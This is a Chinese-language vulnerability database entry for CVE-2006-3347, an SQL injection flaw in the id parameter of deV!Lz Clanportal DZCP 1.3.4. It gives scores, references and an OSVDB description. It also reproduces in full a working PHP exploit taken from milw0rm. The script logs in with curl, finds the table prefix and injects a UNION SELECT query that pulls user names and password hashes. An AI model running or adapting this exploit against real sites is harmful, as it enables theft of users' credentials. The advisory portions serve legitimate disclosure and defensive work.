CVE-2006-3347
CVSS7.5
发布时间 :2006-07-03 15:05:00
修订时间 :2011-03-07 21:38:24
NMCOE    

[原文]SQL injection vulnerability in index.php in deV!Lz Clanportal DZCP 1.3.4 allows remote attackers to execute arbitrary SQL commands via the id parameter.


[CNNVD]deV!Lz Clanportal 'index.php'SQL注入漏洞(CNNVD-200607-009)

        deV!Lz Clanportal DZCP 1.3.4的index.php存在SQL注入漏洞。远程攻击者可以借助id参数,执行任意SQL指令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3347
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3347
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200607-009
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/2628
(UNKNOWN)  VUPEN  ADV-2006-2628
http://www.securityfocus.com/bid/18762
(UNKNOWN)  BID  18762
http://secunia.com/advisories/20927
(VENDOR_ADVISORY)  SECUNIA  20927
http://milw0rm.com/exploits/1968
(UNKNOWN)  MILW0RM  1968
http://xforce.iss.net/xforce/xfdb/27495
(UNKNOWN)  XF  dzcp-index-sql-injection(27495)
http://www.osvdb.org/26952
(UNKNOWN)  OSVDB  26952

- 漏洞信息

deV!Lz Clanportal 'index.php'SQL注入漏洞
高危 SQL注入
2006-07-03 00:00:00 2006-07-05 00:00:00
远程  
        deV!Lz Clanportal DZCP 1.3.4的index.php存在SQL注入漏洞。远程攻击者可以借助id参数,执行任意SQL指令。

- 公告与补丁

        暂无数据

- 漏洞信息 (1968)

deV!Lz Clanportal [DZCP] <= 1.34 (id) Remote SQL Injection Exploit (EDBID:1968)
php webapps
2006-07-01 Verified
0 x128
N/A [点击下载]
<?
error_reporting(E_ERROR);

function exploit_init()
{
    if (!extension_loaded('php_curl') && !extension_loaded('curl'))
    {
       if (!dl('curl.so') && !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function exploit_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "oooooooooooooooooooooooo dzcp 1.34 remote sql injection oooooooooooooooooooooooo\n";
    echo "oo usage          $ php dzcp-134-exploit.php [url] [user] [pwd] [id]\n";
    echo "oo proxy support  $ php dzcp-134-exploit.php [url] [user] [pwd] [id]\n";
    echo "                  [proxy]:[port]\n";
    echo "oo example        $ php dzcp-134-exploit.php http://localhost x128 pwd 1\n";
    echo "oo you need an account on the system\n";
    echo "oo print the password of the user\n\n";
}

function exploit_bottom()
{
    echo "\noo greets   : tlm65 - i want to wish you a happy 23st birthday! thank you for\n";
    echo "              the last two years. we never become the fastest hacking group on\n";
    echo "              net without you.\n";
    echo "oo discover : x128 - alexander wilhelm - 30/06/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net\n";
}

function exploit_execute()
{
    $connection = curl_init();

    if ($_SERVER['argv'][5])
    {
        curl_setopt($connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($connection, CURLOPT_PROXY, $_SERVER['argv'][5]);
    }
    curl_setopt ($connection, CURLOPT_USERAGENT, 'x128');
    curl_setopt ($connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($connection, CURLOPT_HEADER, 0);
    curl_setopt ($connection, CURLOPT_POST, 1);
    curl_setopt ($connection, CURLOPT_COOKIE, 1);
    curl_setopt ($connection, CURLOPT_COOKIEJAR, 'exp-cookie.txt');
    curl_setopt ($connection, CURLOPT_COOKIEFILE, 'exp-cookie.txt');
    curl_setopt ($connection, CURLOPT_URL, $_SERVER['argv'][1] . "/user/index.php?action=login&do=yes");
    curl_setopt ($connection, CURLOPT_POSTFIELDS, "user=" . $_SERVER['argv'][2] . "&pwd=" . $_SERVER['argv'][3] . "&permanent=1");

    $source = curl_exec($connection) or die("oo error - cannot connect!\n");

    curl_setopt ($connection, CURLOPT_POST, 0);
    curl_setopt ($connection, CURLOPT_URL, $_SERVER['argv'][1] . "/user/index.php?action=msg&do=answer&id=x128");
    $source = curl_exec($connection) or die("oo error - cannot connect!\n");

    preg_match("/FROM ([0-9a-zA-Z_]*)messages/", $source, $prefix);

    curl_setopt ($connection, CURLOPT_URL, $_SERVER['argv'][1] . "/user/index.php?action=msg&do=answer&id=" . urlencode("-1 UNION SELECT 1,1,1,1,1,1,user,pwd,1,1 FROM " . $prefix[1] . "users WHERE id = " . $_SERVER['argv'][4]));
    $source = curl_exec($connection) or die("oo error - cannot connect!\n");

    preg_match("/>([0-9a-f]{32})</", $source, $password);
    preg_match("/RE: (.*)\" class/", $source, $user);

    if ($password[1])
    {
        echo "oo user           " . $user[1] . "\n";
        echo "oo password       " . $password[1] . "\n\n";
        echo "oo dafaced ...\n";
    }

    curl_close ($connection);
}

exploit_init();
exploit_header();
exploit_execute();
exploit_bottom();
?>

# milw0rm.com [2006-07-01]
		

- 漏洞信息

26952
DZCP index.php id Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

DZCP contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the index.php script not properly sanitizing user-supplied input to the 'id' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-07-01 Unknow
2006-07-01 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站